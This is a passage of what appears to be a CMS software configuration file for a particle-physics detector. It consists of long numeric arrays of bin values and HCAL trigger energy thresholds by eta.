48.5, 49, 49.5, 50, 50.5, 51, 51.5, 52, 52.5, 53, 53.5, 54, 54.5, 55, 55.5, 56, 56.5, 57, 57.5, 58, 58.5, 59, 59.5, 60, 60.5, 61, 61.5, 62, 62.5, 63, 63.5, 64, 64.5, 65, 65.5, 66, 66.5, 67, 67.5, 68, 68.5, 69, 69.5, 70, 70.5, 71, 71.5, 72, 72.5, 73, 73.5, 74, 74.5, 75, 75.5, 76, 76.5, 77, 77.5, 78, 78.5, 79, 79.5, 80, 80.5, 81, 81.5, 82, 82.5, 83, 83.5, 84, 84.5, 85, 85.5, 86, 86.5, 87, 87.5, 88, 88.5, 89, 89.5, 90, 90.5, 91, 91.5, 92, 92.5, 93, 93.5, 94, 94.5, 95, 95.5, 96, 96.5, 97, 97.5, 98, 98.5, 99, 99.5, 100, 100.5, 101, 101.5, 102, 102.5, 103, 103.5, 104, 104.5, 105, 105.5, 106, 106.5, 107, 107.5, 108, 108.5, 109, 109.5, 110, 110.5, 111, 111.5, 112, 112.5, 113, 113.5, 114, 114.5, 115, 115.5, 116, 116.5)+cms.vdouble(117, 117.5, 118, 118.5, 119, 119.5, 120, 120.5, 121, 121.5, 122, 122.5, 123, 123.5, 124, 124.5, 125, 125.5, 126, 126.5, 127, 127.5, 0, 0.5, 1, 1.5, 2, 2.5, 3, 3.5, 4, 4.5, 5, 5.5, 6, 6.5, 7, 7.5, 8, 8.5, 9, 9.5, 10, 10.5, 11, 11.5, 12, 12.5, 13, 13.5, 14, 14.5, 15, 15.5, 16, 16.5, 17, 17.5, 18, 18.5, 19, 19.5, 20, 20.5, 21, 21.5, 22, 22.5, 23, 23.5, 24, 24.5, 25, 25.5, 26, 26.5, 27, 27.5, 28, 28.5, 29, 29.5, 30, 30.5, 31, 31.5, 32, 32.5, 33, 33.5, 34, 34.5, 35, 35.5, 36, 36.5, 37, 37.5, 38, 38.5, 39, 39.5, 40, 40.5, 41, 41.5, 42, 42.5, 43, 43.5, 44, 44.5, 45, 45.5, 46, 46.5, 47, 47.5, 48, 48.5, 49, 49.5, 50, 50.5, 51, 51.5, 52, 52.5, 53, 53.5, 54, 54.5, 55, 55.5, 56, 56.5, 57, 57.5, 58, 58.5, 59, 59.5, 60, 60.5, 61, 61.5, 62, 62.5, 63, 63.5, 64, 64.5, 65, 65.5, 66, 66.5, 67, 67.5, 68, 68.5, 69, 69.5, 70, 70.5, 71, 71.5, 72, 72.5, 73, 73.5, 74, 74.5, 75, 75.5, 76, 76.5, 77, 77.5, 78, 78.5, 79, 79.5, 80, 80.5, 81, 81.5, 82, 82.5, 83, 83.5, 84, 84.5, 85, 85.5, 86, 86.5, 87, 87.5, 88, 88.5, 89, 89.5, 90, 90.5, 91, 91.5, 92, 92.5, 93, 93.5, 94, 94.5, 95, 95.5, 96, 96.5, 97, 97.5, 98, 98.5, 99, 99.5, 100, 100.5, 101, 101.5, 102, 102.5, 103, 103.5, 104, 104.5, 105, 105.5, 106, 106.5, 107, 107.5, 108, 108.5, 109, 109.5, 110, 110.5, 111, 111.5, 112, 112.5, 113, 113.5, 114, 114.5, 115, 115.5, 116)+cms.vdouble(116.5, 117, 117.5, 118, 118.5, 119, 119.5, 120, 120.5, 121, 121.5, 122, 122.5, 123, 123.5, 124, 124.5, 125, 125.5, 126, 126.5, 127, 127.5, 0, 0.5, 1, 1.5, 2, 2.5, 3, 3.5, 4, 4.5, 5, 5.5, 6, 6.5, 7, 7.5, 8, 8.5, 9, 9.5, 10, 10.5, 11, 11.5, 12, 12.5, 13, 13.5, 14, 14.5, 15, 15.5, 16, 16.5, 17, 17.5, 18, 18.5, 19, 19.5, 20, 20.5, 21, 21.5, 22, 22.5, 23, 23.5, 24, 24.5, 25, 25.5, 26, 26.5, 27, 27.5, 28, 28.5, 29, 29.5, 30, 30.5, 31, 31.5, 32, 32.5, 33, 33.5, 34, 34.5, 35, 35.5, 36, 36.5, 37, 37.5, 38, 38.5, 39, 39.5, 40, 40.5, 41, 41.5, 42, 42.5, 43, 43.5, 44, 44.5, 45, 45.5, 46, 46.5, 47, 47.5, 48, 48.5, 49, 49.5, 50, 50.5, 51, 51.5, 52, 52.5, 53, 53.5, 54, 54.5, 55, 55.5, 56, 56.5, 57, 57.5, 58, 58.5, 59, 59.5, 60, 60.5, 61, 61.5, 62, 62.5, 63, 63.5, 64, 64.5, 65, 65.5, 66, 66.5, 67, 67.5, 68, 68.5, 69, 69.5, 70, 70.5, 71, 71.5, 72, 72.5, 73, 73.5, 74, 74.5, 75, 75.5, 76, 76.5, 77, 77.5, 78, 78.5, 79, 79.5, 80, 80.5, 81, 81.5, 82, 82.5, 83, 83.5, 84, 84.5, 85, 85.5, 86, 86.5, 87, 87.5, 88, 88.5, 89, 89.5, 90, 90.5, 91, 91.5, 92, 92.5, 93, 93.5, 94, 94.5, 95, 95.5, 96, 96.5, 97, 97.5, 98, 98.5, 99, 99.5, 100, 100.5, 101, 101.5, 102, 102.5, 103, 103.5, 104, 104.5, 105, 105.5, 106, 106.5, 107, 107.5, 108, 108.5, 109, 109.5, 110, 110.5, 111, 111.5, 112, 112.5, 113, 113.5, 114, 114.5, 115, 115.5)+cms.vdouble(116, 116.5, 117, 117.5, 118, 118.5, 119, 119.5, 120, 120.5, 121, 121.5, 122, 122.5, 123, 123.5, 124, 124.5, 125, 125.5, 126, 126.5, 127, 127.5, 0, 0.5, 1, 1.5, 2, 2.5, 3, 3.5, 4, 4.5, 5, 5.5, 6, 6.5, 7, 7.5, 8, 8.5, 9, 9.5, 10, 10.5, 11, 11.5, 12, 12.5, 13, 13.5, 14, 14.5, 15, 15.5, 16, 16.5, 17, 17.5, 18, 18.5, 19, 19.5, 20, 20.5, 21, 21.5, 22, 22.5, 23, 23.5, 24, 24.5, 25, 25.5, 26, 26.5, 27, 27.5, 28, 28.5, 29, 29.5, 30, 30.5, 31, 31.5, 32, 32.5, 33, 33.5, 34, 34.5, 35, 35.5, 36, 36.5, 37, 37.5, 38, 38.5, 39, 39.5, 40, 40.5, 41, 41.5, 42, 42.5, 43, 43.5, 44, 44.5, 45, 45.5, 46, 46.5, 47, 47.5, 48, 48.5, 49, 49.5, 50, 50.5, 51, 51.5, 52, 52.5, 53, 53.5, 54, 54.5, 55, 55.5, 56, 56.5, 57, 57.5, 58, 58.5, 59, 59.5, 60, 60.5, 61, 61.5, 62, 62.5, 63, 63.5, 64, 64.5, 65, 65.5, 66, 66.5, 67, 67.5, 68, 68.5, 69, 69.5, 70, 70.5, 71, 71.5, 72, 72.5, 73, 73.5, 74, 74.5, 75, 75.5, 76, 76.5, 77, 77.5, 78, 78.5, 79, 79.5, 80, 80.5, 81, 81.5, 82, 82.5, 83, 83.5, 84, 84.5, 85, 85.5, 86, 86.5, 87, 87.5, 88, 88.5, 89, 89.5, 90, 90.5, 91, 91.5, 92, 92.5, 93, 93.5, 94, 94.5, 95, 95.5, 96, 96.5, 97, 97.5, 98, 98.5, 99, 99.5, 100, 100.5, 101, 101.5, 102, 102.5, 103, 103.5, 104, 104.5, 105, 105.5, 106, 106.5, 107, 107.5, 108, 108.5, 109, 109.5, 110, 110.5, 111, 111.5, 112, 112.5, 113, 113.5, 114, 114.5, 115)+cms.vdouble(115.5, 116, 116.5, 117, 117.5, 118, 118.5, 119, 119.5, 120, 120.5, 121, 121.5, 122, 122.5, 123, 123.5, 124, 124.5, 125, 125.5, 126, 126.5, 127, 127.5, 0, 0.5, 1, 1.5, 2, 2.5, 3, 3.5, 4, 4.5, 5, 5.5, 6, 6.5, 7, 7.5, 8, 8.5, 9, 9.5, 10, 10.5, 11, 11.5, 12, 12.5, 13, 13.5, 14, 14.5, 15, 15.5, 16, 16.5, 17, 17.5, 18, 18.5, 19, 19.5, 20, 20.5, 21, 21.5, 22, 22.5, 23, 23.5, 24, 24.5, 25, 25.5, 26, 26.5, 27, 27.5, 28, 28.5, 29, 29.5, 30, 30.5, 31, 31.5, 32, 32.5, 33, 33.5, 34, 34.5, 35, 35.5, 36, 36.5, 37, 37.5, 38, 38.5, 39, 39.5, 40, 40.5, 41, 41.5, 42, 42.5, 43, 43.5, 44, 44.5, 45, 45.5, 46, 46.5, 47, 47.5, 48, 48.5, 49, 49.5, 50, 50.5, 51, 51.5, 52, 52.5, 53, 53.5, 54, 54.5, 55, 55.5, 56, 56.5, 57, 57.5, 58, 58.5, 59, 59.5, 60, 60.5, 61, 61.5, 62, 62.5, 63, 63.5, 64, 64.5, 65, 65.5, 66, 66.5, 67, 67.5, 68, 68.5, 69, 69.5, 70, 70.5, 71, 71.5, 72, 72.5, 73, 73.5, 74, 74.5, 75, 75.5, 76, 76.5, 77, 77.5, 78, 78.5, 79, 79.5, 80, 80.5, 81, 81.5, 82, 82.5, 83, 83.5, 84, 84.5, 85, 85.5, 86, 86.5, 87, 87.5, 88, 88.5, 89, 89.5, 90, 90.5, 91, 91.5, 92, 92.5, 93, 93.5, 94, 94.5, 95, 95.5, 96, 96.5, 97, 97.5, 98, 98.5, 99, 99.5, 100, 100.5, 101, 101.5, 102, 102.5, 103, 103.5, 104, 104.5, 105, 105.5, 106, 106.5, 107, 107.5, 108, 108.5, 109, 109.5, 110, 110.5, 111, 111.5, 112, 112.5, 113, 113.5, 114, 114.5)+cms.vdouble(115, 115.5, 116, 116.5, 117, 117.5, 118, 118.5, 119, 119.5, 120, 120.5, 121, 121.5, 122, 122.5, 123, 123.5, 124, 124.5, 125, 125.5, 126, 126.5, 127, 127.5, 0, 0.5, 1, 1.5, 2, 2.5, 3, 3.5, 4, 4.5, 5, 5.5, 6, 6.5, 7, 7.5, 8, 8.5, 9, 9.5, 10, 10.5, 11, 11.5, 12, 12.5, 13, 13.5, 14, 14.5, 15, 15.5, 16, 16.5, 17, 17.5, 18, 18.5, 19, 19.5, 20, 20.5, 21, 21.5, 22, 22.5, 23, 23.5, 24, 24.5, 25, 25.5, 26, 26.5, 27, 27.5, 28, 28.5, 29, 29.5, 30, 30.5, 31, 31.5, 32, 32.5, 33, 33.5, 34, 34.5, 35, 35.5, 36, 36.5, 37, 37.5, 38, 38.5, 39, 39.5, 40, 40.5, 41, 41.5, 42, 42.5, 43, 43.5, 44, 44.5, 45, 45.5, 46, 46.5, 47, 47.5, 48, 48.5, 49, 49.5, 50, 50.5, 51, 51.5, 52, 52.5, 53, 53.5, 54, 54.5, 55, 55.5, 56, 56.5, 57, 57.5, 58, 58.5, 59, 59.5, 60, 60.5, 61, 61.5, 62, 62.5, 63, 63.5, 64, 64.5, 65, 65.5, 66, 66.5, 67, 67.5, 68, 68.5, 69, 69.5, 70, 70.5, 71, 71.5, 72, 72.5, 73, 73.5, 74, 74.5, 75, 75.5, 76, 76.5, 77, 77.5, 78, 78.5, 79, 79.5, 80, 80.5, 81, 81.5, 82, 82.5, 83, 83.5, 84, 84.5, 85, 85.5, 86, 86.5, 87, 87.5, 88, 88.5, 89, 89.5, 90, 90.5, 91, 91.5, 92, 92.5, 93, 93.5, 94, 94.5, 95, 95.5, 96, 96.5, 97, 97.5, 98, 98.5, 99, 99.5, 100, 100.5, 101, 101.5, 102, 102.5, 103, 103.5, 104, 104.5, 105, 105.5, 106, 106.5, 107, 107.5, 108, 108.5, 109, 109.5, 110, 110.5, 111, 111.5, 112, 112.5, 113, 113.5, 114)+cms.vdouble(114.5, 115, 115.5, 116, 116.5, 117, 117.5, 118, 118.5, 119, 119.5, 120, 120.5, 121, 121.5, 122, 122.5, 123, 123.5, 124, 124.5, 125, 125.5, 126, 126.5, 127, 127.5, 0, 0.5, 1, 1.5, 2, 2.5, 3, 3.5, 4, 4.5, 5, 5.5, 6, 6.5, 7, 7.5, 8, 8.5, 9, 9.5, 10, 10.5, 11, 11.5, 12, 12.5, 13, 13.5, 14, 14.5, 15, 15.5, 16, 16.5, 17, 17.5, 18, 18.5, 19, 19.5, 20, 20.5, 21, 21.5, 22, 22.5, 23, 23.5, 24, 24.5, 25, 25.5, 26, 26.5, 27, 27.5, 28, 28.5, 29, 29.5, 30, 30.5, 31, 31.5, 32, 32.5, 33, 33.5, 34, 34.5, 35, 35.5, 36, 36.5, 37, 37.5, 38, 38.5, 39, 39.5, 40, 40.5, 41, 41.5, 42, 42.5, 43, 43.5, 44, 44.5, 45, 45.5, 46, 46.5, 47, 47.5, 48, 48.5, 49, 49.5, 50, 50.5, 51, 51.5, 52, 52.5, 53, 53.5, 54, 54.5, 55, 55.5, 56, 56.5, 57, 57.5, 58, 58.5, 59, 59.5, 60, 60.5, 61, 61.5, 62, 62.5, 63, 63.5, 64, 64.5, 65, 65.5, 66, 66.5, 67, 67.5, 68, 68.5, 69, 69.5, 70, 70.5, 71, 71.5, 72, 72.5, 73, 73.5, 74, 74.5, 75, 75.5, 76, 76.5, 77, 77.5, 78, 78.5, 79, 79.5, 80, 80.5, 81, 81.5, 82, 82.5, 83, 83.5, 84, 84.5, 85, 85.5, 86, 86.5, 87, 87.5, 88, 88.5, 89, 89.5, 90, 90.5, 91, 91.5, 92, 92.5, 93, 93.5, 94, 94.5, 95, 95.5, 96, 96.5, 97, 97.5, 98, 98.5, 99, 99.5, 100, 100.5, 101, 101.5, 102, 102.5, 103, 103.5, 104, 104.5, 105, 105.5, 106, 106.5, 107, 107.5, 108, 108.5, 109, 109.5, 110, 110.5, 111, 111.5, 112, 112.5, 113, 113.5)+cms.vdouble(114, 114.5, 115, 115.5, 116, 116.5, 117, 117.5, 118, 118.5, 119, 119.5, 120, 120.5, 121, 121.5, 122, 122.5, 123, 123.5, 124, 124.5, 125, 125.5, 126, 126.5, 127, 127.5 ), L1HcalEtThresholdsPositiveEta = cms.vdouble( 0, 0, 0, 0, 0.70733067, 0.88416334, 1.2378287, 1.4146613, 1.591494, 1.7683267, 2.121992, 2.2988247, 2.65249, 2.8293227, 3.0061554, 3.3598207, 3.5366534, 3.8903187, 4.0671514, 4.4208167, 4.774482, 4.9513147, 5.30498, 5.6586454, 5.835478, 6.1891434, 6.5428087, 6.896474, 7.2501394, 7.426972, 7.7806374, 8.1343027, 8.4879681, 8.8416334, 9.1952987, 9.5489641, 9.9026294, 10.256295, 10.60996, 11.140458, 11.494123, 11.847789, 12.201454, 12.555119, 12.908785, 13.439283, 13.792948, 14.146613, 14.677111, 15.030777, 15.384442, 15.91494, 16.268605, 16.799103, 17.152769, 17.683267, 18.036932, 18.56743, 18.921095, 19.451593, 19.982091, 20.335757, 20.866255, 21.396753, 21.750418, 22.280916, 22.811414, 23.341912, 23.87241, 24.226075, 24.756573, 25.287071, 25.81757, 26.348068, 26.878566, 27.409064, 27.939562, 28.47006, 29.000558, 29.531056, 30.061554, 30.592052, 31.299382, 31.82988, 32.360378, 32.890876, 33.421374, 34.128705, 34.659203, 35.189701, 35.897032, 36.42753, 36.958028, 37.665358, 38.195856, 38.903187, 39.433685, 40.141016, 40.671514, 41.378844, 41.909342, 42.616673, 43.147171, 43.854502, 44.561832, 45.09233, 45.799661, 46.506992, 47.03749, 47.74482, 48.452151, 49.159482, 49.866812, 50.39731, 51.104641, 51.811972, 52.519302, 53.226633, 53.933964, 54.641294, 55.348625, 56.055956, 56.763286, 57.470617, 58.177948, 58.885278, 59.592609, 60.29994, 61.00727, 61.714601, 62.421932, 63.306095, 64.013426, 64.720756, 65.428087, 66.31225, 67.019581, 67.726912, 68.434242, 69.318406, 70.025736, 70.9099, 71.61723, 72.324561, 73.208724, 73.916055, 74.800218, 75.507549, 76.391712, 77.099043, 77.983207, 78.690537, 79.574701, 80.458864, 81.166195, 82.050358, 82.934521, 83.641852, 84.526015, 85.410179, 86.294342, 87.001673, 87.885836, 88.769999, 89.654163, 90.538326, 91.245657, 92.12982, 93.013983, 93.898147, 94.78231, 95.666473, 96.550637, 97.4348, 98.318963, 99.203127, 100.08729, 100.97145, 102.03245, 102.91661, 103.80078, 104.68494, 105.5691, 106.45327, 107.51426, 108.39843, 109.28259, 110.34358, 111.22775, 112.11191, 113.17291, 114.05707, 114.94123, 116.00223, 116.88639, 117.94739, 118.83155, 119.71572, 120.77671, 121.66088, 122.72187, 123.78287, 124.66703, 125.72803, 126.61219, 127.67319, 128.73418, 129.61835, 130.67934, 131.74034, 132.6245, 133.6855, 134.74649, 135.80749, 136.69165, 137.75265, 138.81364, 139.87464, 140.93564, 141.99663, 143.05763, 143.94179, 145.00279, 146.06378, 147.12478, 148.18578, 149.24677, 150.30777, 151.36876, 152.42976, 153.49076, 154.72858, 155.78958, 156.85058, 157.91157, 158.97257, 160.03356, 161.09456, 162.33239, 163.39339, 164.45438, 165.51538, 166.75321, 167.8142, 168.8752, 170.11303, 171.17402, 172.23502, 173.47285, 174.53384, 175.77167, 176.83267, 177.89366, 179.13149, 180.19249)+cms.vdouble(180.89982, 0, 0, 0, 0, 0.70201378, 0.87751722, 1.2285241, 1.4040276, 1.579531, 1.7550344, 2.1060413, 2.2815448, 2.6325517, 2.8080551, 2.9835586, 3.3345654, 3.5100689, 3.8610758, 4.0365792, 4.3875861, 4.738593, 4.9140964, 5.2651033, 5.6161102, 5.7916137, 6.1426205, 6.4936274, 6.8446343, 7.1956412, 7.3711447, 7.7221515, 8.0731584, 8.4241653, 8.7751722, 9.1261791, 9.477186, 9.8281929, 10.1792, 10.530207, 11.056717, 11.407724, 11.758731, 12.109738, 12.460745, 12.811751, 13.338262, 13.689269, 14.040276, 14.566786, 14.917793, 15.2688, 15.79531, 16.146317, 16.672827, 17.023834, 17.550344, 17.901351, 18.427862, 18.778869, 19.305379, 19.831889, 20.182896, 20.709406, 21.235917, 21.586924, 22.113434, 22.639944, 23.166455, 23.692965, 24.043972, 24.570482, 25.096993, 25.623503, 26.150013, 26.676524, 27.203034, 27.729544, 28.256055, 28.782565, 29.309075, 29.835586, 30.362096, 31.06411, 31.59062, 32.11713, 32.643641, 33.170151, 33.872165, 34.398675, 34.925185, 35.627199, 36.153709, 36.68022, 37.382234, 37.908744, 38.610758, 39.137268, 39.839282, 40.365792, 41.067806, 41.594316, 42.29633, 42.82284, 43.524854, 44.226868, 44.753378, 45.455392, 46.157406, 46.683916, 47.38593, 48.087944, 48.789957, 49.491971, 50.018482, 50.720495, 51.422509, 52.124523, 52.826537, 53.52855, 54.230564, 54.932578, 55.634592, 56.336606, 57.038619, 57.740633, 58.442647, 59.144661, 59.846674, 60.548688, 61.250702, 61.952716, 62.830233, 63.532247, 64.234261, 64.936274, 65.813792, 66.515805, 67.217819, 67.919833, 68.79735, 69.499364, 70.376881, 71.078895, 71.780909, 72.658426, 73.36044, 74.237957, 74.939971, 75.817488, 76.519502, 77.397019, 78.099033, 78.97655, 79.854067, 80.556081, 81.433598, 82.311115, 83.013129, 83.890646, 84.768164, 85.645681, 86.347695, 87.225212, 88.102729, 88.980246, 89.857763, 90.559777, 91.437294, 92.314812, 93.192329, 94.069846, 94.947363, 95.824881, 96.702398, 97.579915, 98.457432, 99.334949, 100.21247, 101.26549, 102.143, 103.02052, 103.89804, 104.77556, 105.65307, 106.70609, 107.58361, 108.46113, 109.51415, 110.39167, 111.26918, 112.3222, 113.19972, 114.07724, 115.13026, 116.00778, 117.0608, 117.93831, 118.81583, 119.86885, 120.74637, 121.79939, 122.85241, 123.72993, 124.78295, 125.66047, 126.71349, 127.76651, 128.64402, 129.69705, 130.75007, 131.62758, 132.6806, 133.73362, 134.78665, 135.66416, 136.71718, 137.7702, 138.82322, 139.87624, 140.92927, 141.98229, 142.8598, 143.91282, 144.96584, 146.01887, 147.07189, 148.12491, 149.17793, 150.23095, 151.28397, 152.33699, 153.56551, 154.61853, 155.67155, 156.72458, 157.7776, 158.83062, 159.88364, 161.11216, 162.16518, 163.2182, 164.27122, 165.49975, 166.55277, 167.60579, 168.83431, 169.88733, 170.94035, 172.16888, 173.2219, 174.45042, 175.50344, 176.55646, 177.78499)+cms.vdouble(178.83801, 179.54002, 0, 0, 0, 0, 0.69157744, 0.86447181, 1.2102605, 1.3831549, 1.5560492, 1.7289436, 2.0747323, 2.2476267, 2.5934154, 2.7663098, 2.9392041, 3.2849929, 3.4578872, 3.8036759, 3.9765703, 4.322359, 4.6681477, 4.8410421, 5.1868308, 5.5326196, 5.7055139, 6.0513026, 6.3970914, 6.7428801, 7.0886688, 7.2615632, 7.6073519, 7.9531406, 8.2989293, 8.6447181, 8.9905068, 9.3362955, 9.6820842, 10.027873, 10.373662, 10.892345, 11.238133, 11.583922, 11.929711, 12.2755, 12.621288, 13.139971, 13.48576, 13.831549, 14.350232, 14.696021, 15.041809, 15.560492, 15.906281, 16.424964, 16.770753, 17.289436, 17.635225, 18.153908, 18.499697, 19.01838, 19.537063, 19.882852, 20.401535, 20.920218, 21.266006, 21.784689, 22.303373, 22.822056, 23.340739, 23.686527, 24.205211, 24.723894, 25.242577, 25.76126, 26.279943, 26.798626, 27.317309, 27.835992, 28.354675, 28.873358, 29.392041, 29.910724, 30.602302, 31.120985, 31.639668, 32.158351, 32.677034, 33.368612, 33.887295, 34.405978, 35.097555, 35.616238, 36.134921, 36.826499, 37.345182, 38.036759, 38.555443, 39.24702, 39.765703, 40.45728, 40.975964, 41.667541, 42.186224, 42.877802, 43.569379, 44.088062, 44.77964, 45.471217, 45.9899, 46.681477, 47.373055, 48.064632, 48.75621, 49.274893, 49.96647, 50.658048, 51.349625, 52.041203, 52.73278, 53.424358, 54.115935, 54.807512, 55.49909, 56.190667, 56.882245, 57.573822, 58.2654, 58.956977, 59.648555, 60.340132, 61.031709, 61.896181, 62.587759, 63.279336, 63.970914, 64.835385, 65.526963, 66.21854, 66.910118, 67.77459, 68.466167, 69.330639, 70.022216, 70.713794, 71.578265, 72.269843, 73.134315, 73.825892, 74.690364, 75.381941, 76.246413, 76.937991, 77.802462, 78.666934, 79.358512, 80.222984, 81.087455, 81.779033, 82.643505, 83.507976, 84.372448, 85.064026, 85.928497, 86.792969, 87.657441, 88.521913, 89.21349, 90.077962, 90.942434, 91.806906, 92.671378, 93.535849, 94.400321, 95.264793, 96.129265, 96.993737, 97.858208, 98.72268, 99.760046, 100.62452, 101.48899, 102.35346, 103.21793, 104.08241, 105.11977, 105.98424, 106.84872, 107.88608, 108.75055, 109.61502, 110.65239, 111.51686, 112.38133, 113.4187, 114.28317, 115.32054, 116.18501, 117.04948, 118.08685, 118.95132, 119.98869, 121.02605, 121.89052, 122.92789, 123.79236, 124.82973, 125.86709, 126.73157, 127.76893, 128.8063, 129.67077, 130.70814, 131.7455, 132.78287, 133.64734, 134.68471, 135.72207, 136.75944, 137.79681, 138.83417, 139.87154, 140.73601, 141.77338, 142.81074, 143.84811, 144.88547, 145.92284, 146.96021, 147.99757, 149.03494, 150.07231, 151.28257, 152.31993, 153.3573, 154.39466, 155.43203, 156.4694, 157.50676, 158.71702, 159.75439, 160.79176, 161.82912, 163.03938, 164.07675, 165.11411, 166.32438, 167.36174, 168.39911, 169.60937, 170.64673, 171.85699, 172.89436, 173.93173)+cms.vdouble(175.14199, 176.17935, 176.87093, 0, 0, 0, 0, 0.67639901, 0.84549877, 1.1836983, 1.352798, 1.5218978, 1.6909975, 2.029197, 2.1982968, 2.5364963, 2.7055961, 2.8746958, 3.2128953, 3.3819951, 3.7201946, 3.8892943, 4.2274938, 4.5656933, 4.7347931, 5.0729926, 5.4111921, 5.5802919, 5.9184914, 6.2566909, 6.5948904, 6.9330899, 7.1021896, 7.4403892, 7.7785887, 8.1167882, 8.4549877, 8.7931872, 9.1313867, 9.4695862, 9.8077857, 10.145985, 10.653284, 10.991484, 11.329683, 11.667883, 12.006082, 12.344282, 12.851581, 13.189781, 13.52798, 14.03528, 14.373479, 14.711679, 15.218978, 15.557177, 16.064477, 16.402676, 16.909975, 17.248175, 17.755474, 18.093674, 18.600973, 19.108272, 19.446472, 19.953771, 20.46107, 20.79927, 21.306569, 21.813868, 22.321167, 22.828467, 23.166666, 23.673965, 24.181265, 24.688564, 25.195863, 25.703163, 26.210462, 26.717761, 27.22506, 27.73236, 28.239659, 28.746958, 29.254257, 29.930656, 30.437956, 30.945255, 31.452554, 31.959853, 32.636252, 33.143552, 33.650851, 34.32725, 34.834549, 35.341848, 36.018247, 36.525547, 37.201946, 37.709245, 38.385644, 38.892943, 39.569342, 40.076642, 40.753041, 41.26034, 41.936739, 42.613138, 43.120437, 43.796836, 44.473235, 44.980534, 45.656933, 46.333332, 47.009731, 47.68613, 48.19343, 48.869829, 49.546228, 50.222627, 50.899026, 51.575425, 52.251824, 52.928223, 53.604622, 54.281021, 54.95742, 55.633819, 56.310218, 56.986617, 57.663016, 58.339415, 59.015814, 59.692213, 60.537712, 61.214111, 61.89051, 62.566909, 63.412408, 64.088807, 64.765206, 65.441605, 66.287103, 66.963502, 67.809001, 68.4854, 69.161799, 70.007298, 70.683697, 71.529196, 72.205595, 73.051094, 73.727493, 74.572991, 75.24939, 76.094889, 76.940388, 77.616787, 78.462286, 79.307784, 79.984183, 80.829682, 81.675181, 82.52068, 83.197079, 84.042577, 84.888076, 85.733575, 86.579074, 87.255473, 88.100972, 88.94647, 89.791969, 90.637468, 91.482967, 92.328465, 93.173964, 94.019463, 94.864962, 95.71046, 96.555959, 97.570558, 98.416057, 99.261555, 100.10705, 100.95255, 101.79805, 102.81265, 103.65815, 104.50365, 105.51825, 106.36374, 107.20924, 108.22384, 109.06934, 109.91484, 110.92944, 111.77494, 112.78954, 113.63503, 114.48053, 115.49513, 116.34063, 117.35523, 118.36983, 119.21533, 120.22992, 121.07542, 122.09002, 123.10462, 123.95012, 124.96472, 125.97932, 126.82482, 127.83941, 128.85401, 129.86861, 130.71411, 131.72871, 132.74331, 133.75791, 134.7725, 135.7871, 136.8017, 137.6472, 138.6618, 139.6764, 140.69099, 141.70559, 142.72019, 143.73479, 144.74939, 145.76399, 146.77859, 147.96228, 148.97688, 149.99148, 151.00608, 152.02068, 153.03528, 154.04988, 155.23357, 156.24817, 157.26277, 158.27737, 159.46107, 160.47567, 161.49026, 162.67396, 163.68856, 164.70316, 165.88686, 166.90146, 168.08515, 169.09975)+cms.vdouble(170.11435, 171.29805, 172.31265, 172.98905, 0, 0, 0, 0, 0.6570034, 0.82125425, 1.149756, 1.3140068, 1.4782577, 1.6425085, 1.9710102, 2.1352611, 2.4637628, 2.6280136, 2.7922645, 3.1207662, 3.285017, 3.6135187, 3.7777696, 4.1062713, 4.434773, 4.5990238, 4.9275255, 5.2560272, 5.4202781, 5.7487798, 6.0772815, 6.4057832, 6.7342849, 6.8985357, 7.2270374, 7.5555391, 7.8840408, 8.2125425, 8.5410442, 8.8695459, 9.1980476, 9.5265493, 9.855051, 10.347804, 10.676305, 11.004807, 11.333309, 11.66181, 11.990312, 12.483065, 12.811566, 13.140068, 13.632821, 13.961322, 14.289824, 14.782577, 15.111078, 15.603831, 15.932333, 16.425085, 16.753587, 17.246339, 17.574841, 18.067594, 18.560346, 18.888848, 19.3816, 19.874353, 20.202855, 20.695607, 21.18836, 21.681112, 22.173865, 22.502367, 22.995119, 23.487872, 23.980624, 24.473377, 24.966129, 25.458882, 25.951634, 26.444387, 26.93714, 27.429892, 27.922645, 28.415397, 29.072401, 29.565153, 30.057906, 30.550658, 31.043411, 31.700414, 32.193167, 32.685919, 33.342923, 33.835675, 34.328428, 34.985431, 35.478184, 36.135187, 36.62794, 37.284943, 37.777696, 38.434699, 38.927452, 39.584455, 40.077208, 40.734211, 41.391214, 41.883967, 42.54097, 43.197974, 43.690726, 44.34773, 45.004733, 45.661737, 46.31874, 46.811492, 47.468496, 48.125499, 48.782503, 49.439506, 50.096509, 50.753513, 51.410516, 52.06752, 52.724523, 53.381527, 54.03853, 54.695533, 55.352537, 56.00954, 56.666544, 57.323547, 57.98055, 58.801805, 59.458808, 60.115811, 60.772815, 61.594069, 62.251072, 62.908076, 63.565079, 64.386334, 65.043337, 65.864591, 66.521595, 67.178598, 67.999852, 68.656856, 69.47811, 70.135113, 70.956368, 71.613371, 72.434625, 73.091629, 73.912883, 74.734137, 75.391141, 76.212395, 77.033649, 77.690652, 78.511907, 79.333161, 80.154415, 80.811419, 81.632673, 82.453927, 83.275181, 84.096436, 84.753439, 85.574693, 86.395948, 87.217202, 88.038456, 88.85971, 89.680965, 90.502219, 91.323473, 92.144727, 92.965982, 93.787236, 94.772741, 95.593995, 96.415249, 97.236504, 98.057758, 98.879012, 99.864517, 100.68577, 101.50703, 102.49253, 103.31379, 104.13504, 105.12054, 105.9418, 106.76305, 107.74856, 108.56981, 109.55532, 110.37657, 111.19783, 112.18333, 113.00459, 113.99009, 114.9756, 115.79685, 116.78235, 117.60361, 118.58911, 119.57462, 120.39587, 121.38138, 122.36688, 123.18814, 124.17364, 125.15915, 126.14465, 126.96591, 127.95141, 128.93692, 129.92242, 130.90793, 131.89343, 132.87894, 133.70019, 134.6857, 135.6712, 136.65671, 137.64221, 138.62772, 139.61322, 140.59873, 141.58423, 142.56974, 143.71949, 144.705, 145.6905, 146.67601, 147.66151, 148.64702, 149.63253, 150.78228, 151.76779, 152.75329, 153.7388, 154.88855, 155.87406, 156.85956, 158.00932, 158.99482, 159.98033, 161.13008, 162.11559, 163.26535)+cms.vdouble(164.25085, 165.23636, 166.38611, 167.37162, 168.02862, 0, 0, 0, 0, 0.63402104, 0.7925263, 1.1095368, 1.2680421, 1.4265473, 1.5850526, 1.9020631, 2.0605684, 2.3775789, 2.5360842, 2.6945894, 3.0115999, 3.1701052, 3.4871157, 3.645621, 3.9626315, 4.279642, 4.4381473, 4.7551578, 5.0721683, 5.2306736, 5.5476841, 5.8646946, 6.1817051, 6.4987157, 6.6572209, 6.9742314, 7.291242, 7.6082525, 7.925263, 8.2422735, 8.559284, 8.8762946, 9.1933051, 9.5103156, 9.9858314, 10.302842, 10.619852, 10.936863, 11.253873, 11.570884, 12.0464, 12.36341, 12.680421, 13.155937, 13.472947, 13.789958, 